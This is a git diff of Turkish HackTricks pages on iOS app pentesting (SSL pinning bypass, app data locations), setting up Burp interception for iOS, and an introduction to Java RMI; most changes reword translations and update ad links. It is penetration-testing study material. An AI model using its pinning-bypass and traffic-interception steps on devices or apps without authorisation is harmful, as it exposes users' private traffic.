Burp kendi sertifikasını sunacaktır.**\ Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz. Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz. @@ -1083,22 +1078,22 @@ Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz * Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** içinde bulunur. * Ve **`/User/Library`** kullanıcı düzeyi uygulamalar tarafından kaydedilen verileri içerir. * Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz. -* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz: +* Yüklenen bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz: * **`iTunesArtwork`**: Uygulama tarafından kullanılan simge * **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri - * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz. + * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz. ### Sıcak Yama/Zorunlu Güncelleme Geliştiriciler, uygulamalarının tüm yüklemelerine anında **yama uygulayabilirler** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\ -Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\ +Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** gibi kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\ **Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz. ### Üçüncü Taraflar -**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder, ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Dahası, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılımlar içerebilir. +**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir.** Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Dahası, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir. -Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir. +Üçüncü taraf SDK'ların sağladığı hizmetler, kullanıcı davranışı izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmelerini içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamaları nedeniyle potansiyel gizlilik ve güvenlik risklerini beraberinde getirir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir. Üçüncü taraf hizmetlerin uygulanması genellikle iki şekilde gerçekleşir: bağımsız bir kütüphane veya tam bir SDK. Bu hizmetlerle paylaşılan verilerin, Kişisel Tanımlanabilir Bilgilerin (PII) ifşasını önlemek için **anonimleştirilmiş** olması gerekmektedir. @@ -1124,7 +1119,7 @@ otool -L * [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) * [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) * [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kursu([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1137,21 +1132,21 @@ otool -L
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) * [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index c6ee49bbb..833754957 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,11 +2,11 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** @@ -17,30 +17,30 @@ HackTricks'ı desteklemenin diğer yolları:
\ -Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} -## iOS Cihazlarında Burp Sertifikasının Yüklenmesi +## iOS Cihazları İçin Burp Sertifikasının Yüklenmesi -Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarında, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. Aşağıda her iki yöntem için özetlenmiş bir rehber bulunmaktadır: +Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarında, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. Aşağıda her iki yöntem için özetlenmiş bir kılavuz bulunmaktadır: ### Burp Mobile Assistant ile Otomatik Yükleme -**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenme sürecini, proxy yapılandırmasını ve SSL Pinning'i basitleştirir. Detaylı rehber [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulunabilir. +**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenme sürecini, proxy yapılandırmasını ve SSL Pinning'i basitleştirir. Detaylı rehberliğe [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) ulaşılabilir. ### Manuel Yükleme Adımları 1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın. -2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin. +2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin. 3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin. ### İnterception Proxy Yapılandırma -Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar. +Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar, istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar. -### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma +### Jailbreak Yapılmış Cihazlar İçin Gelişmiş Yapılandırma Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) trafiği doğrudan Burp üzerinden yönlendirmenin bir yöntemi sunar: @@ -49,7 +49,7 @@ Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB ( ```bash iproxy 2222 22 ``` -2. **Uzak Port Yönlendirme:** iOS cihazının 8080 numaralı portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için. +2. **Uzak Port Yönlendirme:** iOS cihazının 8080 portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için. ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 @@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222 ### Tam Ağ İzleme/Sniffing -**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin etkin bir şekilde izlenmesi sağlanabilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazları için, gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir. +**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazları için, gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir. Prosedür birkaç temel adımı içerir: @@ -68,7 +68,7 @@ Prosedür birkaç temel adımı içerir: $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` -3. UDID'nin tespitinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir. +3. UDID'nin tespit edilmesinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir. 4. Belirli bir IP adresi ile ilgili HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir: ## Simülatöre Burp Sertifikası Kurulumu @@ -95,32 +95,32 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format Proxy olarak Burp'u yapılandırma adımları: -* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin -* _Vekiller_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin +* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_'e gidin +* _Vekiller_ sekmesinde _Web Vekili (HTTP)_ ve _Güvenli Web Vekili (HTTPS)_ işaretleyin * Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın ![](<../../.gitbook/assets/image (431).png>) -* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_yı seçin +* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_'ya basın
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\ +Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturmak ve yürütmek için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)'i kullanın.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **HackTricks'i** destekleyin. +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index 40af88b2e..d8897c1d6 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -6,25 +6,25 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu keşfedin (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] katılın (https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**]'de takip edin (https://twitter.com/hacktricks\_live)**.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} ## Temel Bilgiler -_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin, başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilere nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazma imkanı sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtımı [bu blackhat konuşmasında](https://youtu.be/t\_aw1mDNhzI?t=202) bulabilirsiniz. +_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir. **Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -36,18 +36,18 @@ PORT STATE SERVICE VERSION ``` Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır. -_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız. +_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız. ## RMI Bileşenleri -Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır: +Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır: -1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_ aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir). -2. Uzak istemciler, sunucuda yöntemleri çağırarak kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir. +1. _Java RMI_ aracılığıyla bir yöntem çağrısını yönlendirmek için istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir). +2. Uzak istemciler, sunucuda bulunan nesnede yöntemleri çağırarak kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir. İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır. -Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den karşılık gelen _bağlı ismi_ isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir: +Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den ilgili _bağlı ismi_ ve kayıt, bağlantı için gerekli tüm bilgileri isteyebilir. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -73,13 +73,13 @@ e.printStackTrace(); ``` Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir. -Eskimiş _Etkinleştirme Sistemi_ ile birlikte, bunlar _Java RMI_'ın üç varsayılan bileşenidir: +Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'ın üç varsayılan bileşenidir: 1. _RMI Kayıt Defteri_ (`ObjID = 0`) -2. _Etkinleştirme Sistemi_ (`ObjID = 1`) +2. _Aktivasyon Sistemi_ (`ObjID = 1`) 3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`) -_Java RMI_'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen 